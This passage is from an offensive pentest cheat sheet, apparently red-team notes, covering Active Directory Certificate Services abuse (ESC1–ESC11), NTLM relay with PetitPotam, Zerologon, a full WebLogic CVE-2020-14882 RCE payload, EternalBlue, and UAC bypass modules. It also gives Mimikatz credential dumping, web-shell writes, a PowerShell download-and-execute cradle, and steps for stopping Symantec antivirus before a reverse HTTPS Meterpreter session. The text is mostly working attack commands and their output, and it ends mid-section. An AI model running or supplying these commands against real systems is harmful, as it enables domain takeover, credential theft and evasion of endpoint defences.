PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
```
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
#### ESC3 - Misconfigured Enrollment Agent Templates
> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
* Request a certificate based on the vulnerable certificate template ESC3.
```ps1
$ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
```
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
```ps1
$ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
```
#### ESC4 - Access Control Vulnerabilities
> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
```
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:\>StandIn.exe --adcs --filter WebServer --ess --add
```
* Perform ESC1 and then restore the value
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
```
Using Certipy
```ps1
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'
# restore the old configuration
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```
#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
```ps1
Certify.exe cas
```
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
```ps1
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
```
Mitigation:
* Remove the flag : `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
#### ESC7 - Vulnerable Certificate Authority Access Control
Exploitation:
* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
```ps1
Certify.exe find /vulnerable
```
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
```ps1
Certify.exe setconfig /enablesan /restart
```
* Request the certificate with the desired SAN.
```ps1
Certify.exe request /template:User /altname:super.adm
```
* Grant approval if required or disable the approval requirement
```ps1
# Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart
```
Alternative exploitation from **ManageCA** to **RCE** on ADCS server:
```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```
#### ESC8 - AD CS Relay Attack
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)
* **Version 1**: NTLM Relay + Rubeus + PetitPotam
```powershell
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
```
* **Version 2**: NTLM Relay + Mimikatz + Kekeo
```powershell
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
```
* **Version 3**: Kerberos Relay
```ps1
# Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
```
* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
```powershell
https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
# ADCSPwn arguments
adcs - This is the address of the AD CS server which authentication will be relayed to.
secure - Use HTTPS with the certificate service.
port - The port ADCSPwn will listen on.
remote - Remote machine to trigger authentication from.
username - Username for non-domain context.
password - Password for non-domain context.
dc - Domain controller to query for Certificate Templates (LDAP).
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output - Output path to store base64 generated crt.
```
* **Version 5**: Certipy ESC8
```ps1
certipy relay -ca 172.16.19.100
```
#### ESC9 - No Security Extension
Requirements:
* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
* Certificate specifies `Any Client` authentication EKU
* `GenericWrite` over any account A to compromise any account B
**Scenario**
[email protected] has **GenericWrite** over [email protected], and we want to compromise [email protected].
[email protected] is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.
* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
```ps1
certipy shadow auto -username [email protected] -p Passw0rd -account Jane
```
* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
```ps1
certipy account update -username [email protected] -password Passw0rd -user Jane -upn Administrator
```
* Request the vulnerable certificate template ESC9 from Jane's account.
```ps1
certipy req -username [email protected] -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator
# the issued certificate contains no "object SID"
```
* Restore userPrincipalName of Jane to [email protected].
```ps1
certipy account update -username [email protected] -password Passw0rd -user [email protected]
```
* Authenticate with the certificate and receive the NT hash of the [email protected] user.
```ps1
certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.
```
#### ESC11 - Relaying NTLM to ICPR
> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
Requirements:
* [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork
* [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork
Exploitation:
1. Look for `Enforce Encryption for Requests: Disabled` in `certipy find -u [email protected] -p 'REDACTED' -dc-ip 10.10.10.10 -stdout` output
2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.
```ps1
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
```
---
# PRE-CREATED COMPUTER ACCOUNTS
### FINDING PRE-CREATED COMPUTER ACCOUNTS
For instance, the computer account `DavesLaptop$` would have the password `daveslaptop`
- Note that when dealing with computer accounts, it is smart to escape the `$` with a `\`.
```bash
impacket-smbclient <domain>/<computer account>\$:<password>@<IP>
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] SMB SessionError: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT(The account used is a computer account. Use your global user account or local user account to access this server.)
```
Notice we have `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`
### Change The Password
We can use either of these:
- https://github.com/fortra/impacket/blob/master/examples/changepasswd.py
- https://github.com/api0cradle/impacket/blob/a1d0cc99ff1bd4425eddc1b28add1f269ff230a6/examples/rpcchangepwd.py
```bash
python3 rpcchangepwd.py <domain>/<computer account>\$:<password>@<IP> -newpass P@ssw0rd 31s
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Password was changed successfully.
```
### Connect to SMB with the new creds
```bash
impacket-smbclient <domain>/<computer account>\$:<new set password>@<IP>
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Type help for list of commands
#
```
**- Reference : https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/**
---
### Exploiting CVE-2021-42278 and CVE-2021-42287
Download the epxloit script https://github.com/WazeHell/sam-the-admin
```bash
bash$ python3 sam_the_admin.py "<domain_name>/<username>:<password>" -dc-ip <DC_IP>
```
If the AD is vulnerable we will have the following output:
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/1639322935010.jpeg" alt="AD exploit">
### Scanning for Zerologon
SecuraBV zerologon scanner https://github.com/SecuraBV/CVE-2020-1472<br>
We can use crackmapexec to extract the DC name
```bash
bash$ python3 zerologon_tester.py EXAMPLE-DC 1.2.3.4
```
If the target is vulnerable the scanner showing the following output:
<img src="https://github.com/ihebski/A-Red-Teamer-diaries/blob/master/zerologon/scanner.png" alt="zerologon scanner">
### Exploiting zerologon
- The exploit could reset the domain admin password we can use zer0dump exploit instead https://github.com/bb00/zer0dump
- Dumping The admin password (change the username if only one user is targetted )
<img src="https://github.com/ihebski/A-Red-Teamer-diaries/blob/master/zerologon/dump-Administrator-Password.png" alt="dump NTLM" >
Getting an RCE through pass-the-hash
<img src="https://github.com/ihebski/A-Red-Teamer-diaries/blob/master/zerologon/get_RCE_psexec.png" alt="RCE">
> The provided screenshots are related to a personnel lab used for the POC test only, be careful when running the exploit on DC in PROD(during an engagement)
## BIGIP F5 CVE-2020-5902
Check if the target is vulnerable
```bash
curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
```
We can scan the target using Nuclei or Nmap too
* Nuclei
https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml
```bash
nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -target https://<IP>
```
If multiple hosts are specified use -l argument -> -l bigip-assets.txt
* Nmap
```bash
wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse
```
#### BIGIP RCE
we can use Metasploit Module https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4
## Scanning Weblogic CVE-2020-14882
Nuclei Module
```bash
nuclei -t nuclei-templates/cves/CVE-2020-14882.yaml -target http://<IP>
```
This module sometimes fails, use -proxy-url http://127.0.0.1:8080 to redirect traffic into Burpsuite and investigate.
## Exploiting Weblogic CVE-2020-14882 - RCE
```bash
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
```
* Change cmd in the request header with any system command(Win/Linux)
* Payload could be turned into a curl command.
## Scanning for EternalBlue ms17-010
```bash
bash$ nmap -p445 --script smb-vuln-ms17-010 <target>/24
```
If the target is vulnrable the output is as following
Script Output<br>
Host script results:
```bash
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```
## Exploiting Eternal Blue - Metasploit Module (Windows 7 x64 only )
* Note :
<br>The default Module supported by Metasploit is exploiting only windows 7 x64 bit
Otherwise the target will be crashed .
```bash
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show targets
...targets...
msf exploit(ms17_010_eternalblue) > set TARGET <target-id>
msf exploit(ms17_010_eternalblue) > show options
...show and set options...
msf exploit(ms17_010_eternalblue) > exploit
```
## Mimikatz - Metasploit
After obtaining a meterpreter shell, we need to ensure that our session is running with **SYSTEM level privileges** for Mimikatz to function properly.
```bash
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
### Reading Hashes and Passwords from Memory
```bash
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;78980 NTLM WINXP-E95CE571A1 Administrator lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;56683 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO)
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;999 NTLM WORKGROUP WINXP-E95CE571A1$
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;56683 NTLM
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }
meterpreter > mimikatz_command -f sekurlsa::logonpasswords
```
## Mimikatz on Linux
In case no VM is available
### step 1
```bash
winetricks msasn1
```
### step 2
```bash
╰─>$ wine /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
0009:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.
.#####. mimikatz 2.2.0 (x86) #18362 May 13 2019 01:34:39
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz #
```
# Privilege Escalation of Windows
### JuicyPotato
```bash
JuicyPotato.exe -l <PORT> -p c:\windows\system32\cmd.exe -t *
```
### Migrate Process
```bash
msf > ps
msf exploit(bypassuac) > migrate <pid>
```
### Windows Escalate UAC Protection Bypass
```bash
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit
```
### Windows Escalate UAC Protection Bypass (In Memory Injection)
```bash
msf > use exploit/windows/local/bypassuac_injection
msf exploit(bypassuac_injection) > set session 1
msf exploit(bypassuac_injection) > exploit
```
### Windows Escalate UAC Protection Bypass (Script Host Vulnerability)
```bash
msf > use windows/local/bypassuac_vbs
msf exploit(bypassuac_vbs) > set session 1
msf exploit(bypassuac_vbs) > exploit
```
### Windows Escalate UAC Execute RunAs
```bash
msf > use windows/local/ask
msf exploit(ask) > set session 1
msf exploit(ask) > exploit
```
### MS16-032 Secondary Logon Handle Privilege Escalation Windows 7 32 bit
```bash
msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit
```
### Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)
```bash
msf exploit(ms13_053_schlamperei) >set session 1
msf exploit(ms13_053_schlamperei) >exploit
```
## Crackmapexec V4.0
Enemurate target
```
bash$ cme smb <target>
```
Access to machine by valid username/password
```
bash$ cme smb <target> -u username -p password
```
Access to machine using the NTLM hash (if u see PWN3D the user hash administrator priveleges )
```
bash$ cme smb <target> -u username -H hash
```
Listing shares
```
bash$ cme smb <target> -u username -p password --shares
```
Enumerate active sessions
```
bash$ cme smb <target> -u username -p password --sessions
```
Enumerate users by bruteforcing RID's (default: 4000)
```
bash$ cme smb <target> -u username -p password --rid-brute
```
Execute the specified command
```
bash$ cme smb <target> -u username -p password -x 'whoami'
```
Execute the specified PowerShell command
```
bash$ cme smb <target> -u username -p password -X 'whoami'
```
Get Hashes
```
bash$ cme smb <target> -u username -p password --sam
```
## Crackmapexec to Empire agent
First setup an Empire listener:
```
(Empire: listeners) > set Name test
(Empire: listeners) > set Host 192.168.10.3
(Empire: listeners) > set Port 9090
(Empire: listeners) > set CertPath data/empire.pem
(Empire: listeners) > run
(Empire: listeners) > list
[*] Active listeners:
ID Name Host Type Delay/Jitter KillDate Redirect Target
-- ---- ---- ------- ------------ -------- ---------------
1 test http://192.168.10.3:9090 native 5/0.0
(Empire: listeners) >
```
Start up Empire's RESTful API server:
```
#~ python empire --rest --user empireadmin --pass Password123!
[*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/
* Starting Empire RESTful API on port: 1337
* RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
* Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)
```
The username and password that CME uses to authenticate to Empire's RESTful API are stored in the cme.conf file located at ~/.cme/cme.conf:
```
[Empire]
api_host=127.0.0.1
api_port=1337
username=empireadmin
password=Password123!
[Metasploit]
rpc_host=127.0.0.1
rpc_port=55552
password=abc123
```
Then just run the empire_exec module and specify the listener name:
```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test
```
# Crackmapexec to Meterpreter
We can use the metinject module to directly inject meterpreter into memory using PowerSploit's Invoke-Shellcode.ps1 script.
First setup your handler:
```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.10.3
LHOST => 192.168.10.3
msf exploit(handler) > set exitonsession false
exitonsession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://192.168.10.3:8443
msf exploit(handler) > [*] Starting the payload handler...
```
Then just run the metinject module and specify the LHOST and LPORT values:
```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1
```
# Passing shell from Empire to Meterpreter metasploit
metasploit listner options
```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set lhost 192.168.1.110
lhost => 192.168.1.110
msf exploit(handler) > set lport 2286
lport => 2286
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set SessionCommunicationTimeout 0
SessionCommunicationTimeout => 0
msf exploit(handler) > exploit -j
```
Setup Empire to send the agent to Metasploit
```
use module code_execution/shellcode_inject
set Host <ip>
set Port <port>
execute
```
# DeathStar
```
# Start the Empire console and RESTful API
python empire --rest --username empireadmin --password Password123
```
Then grab, setup and run DeathStar:
```
git clone https://github.com/byt3bl33d3r/DeathStar
# Death Star is written in Python3
pip3 install -r requirements.txt
./DeathStar.py
```
# Windows cmd.exe commands
## Add user
```
net user /add [username] [password]
```
## Add User as an admin
```
net localgroup administrators [username] /add
```
## Add user to RDP group
```
NET LOCALGROUP "Remote Desktop Users" keyoke /ADD
```
# PTH_winexe : open shell without psexec
Example :<br>
```
pth-winexe -U DOMAIN/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //IP_Server cmd.exe
```
Real Example :<br>
```
pth-winexe -U LAB/Administrator%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //192.168.1.44 cmd.exe
```
# PTH-winexe to Meterpreter
```
msf exploit(web_delivery) > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set L
set LHOST set LISTENERCOMM set LOGLEVEL set LPORT
msf exploit(web_delivery) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(web_delivery) > set LPORT 1233
LPORT => 1233
msf exploit(web_delivery) > exploit
[*] Exploit running as background job 0.
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:1233
[*] Using URL: http://0.0.0.0:8080/gOAr7kQOTh
msf exploit(web_delivery) > [*] Local IP: http://10.2.15.194:8080/gOAr7kQOTh
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('http://127.0.0.1:8080/gOAr7kQOTh');
```
Copy the powershell command into the cmd opened with pth_winexe
# Active Directory
```
# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
# get DCs of a domain
nltest /dclist:offense.local
net group "domain controllers" /domain
# get DC for currently authenticated session
nltest /dsgetdc:offense.local
# get domain trusts from cmd shell
nltest /domain_trusts
# get user info
nltest /user:"spotless"
# get DC for currently authenticated session
set l
# get domain name and DC the user authenticated to
klist
# get all logon sessions. Includes NTLM authenticated sessions
klist sessions
# kerberos tickets for the session
klist
# cached krbtgt
klist tgt
# whoami on older Windows systems
set u
```
## BloodHound
```
powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV
```
# Symantec AV Bypass
```
During our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to share our solution for this problem:
First We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)
$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system
Then let's Stop the AV Service
cd "C:\Program Files\Symantec\Symantec Endpoint Protection"
smc.exe -stop
Nice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS
so we used a reverse_https listener and psexec_psh to bypass it:
mohamed@KeyStrOke:~$ msfconsole
use exploit/windows/smb/psexec_psh
set payload windows/meterpreter/reverse_https
set StageEncoder x86/shikata_ga_nai
set EnableStageEncoding true
set SMBUSER USERNAME
set SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb
set lhost IP
set lport 443
exploit -j
and BOOM :D
Server username: NT AUTHORITY\SYSTEM
Enjoy your Session
```
# Kiwi collect credentials
```
meterpreter > load kiwi
meterpreter > cred_all
```
# Network
### Nmap Full Web Vulnerable Scan
```
cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
```
### Dirb Dir Bruteforce
```
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
```
### Nikto web server scanner
```
nikto -C all -h http://IP
```
### WordPress Scanner
```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p
```
### HTTP Fingerprinting
```
wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt
```
### WordPress Scanner
```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p
```
### SKIP Fish Scanner
```
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
```
### Nmap Ports Scan
```
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)
```
### NC Scanning
```
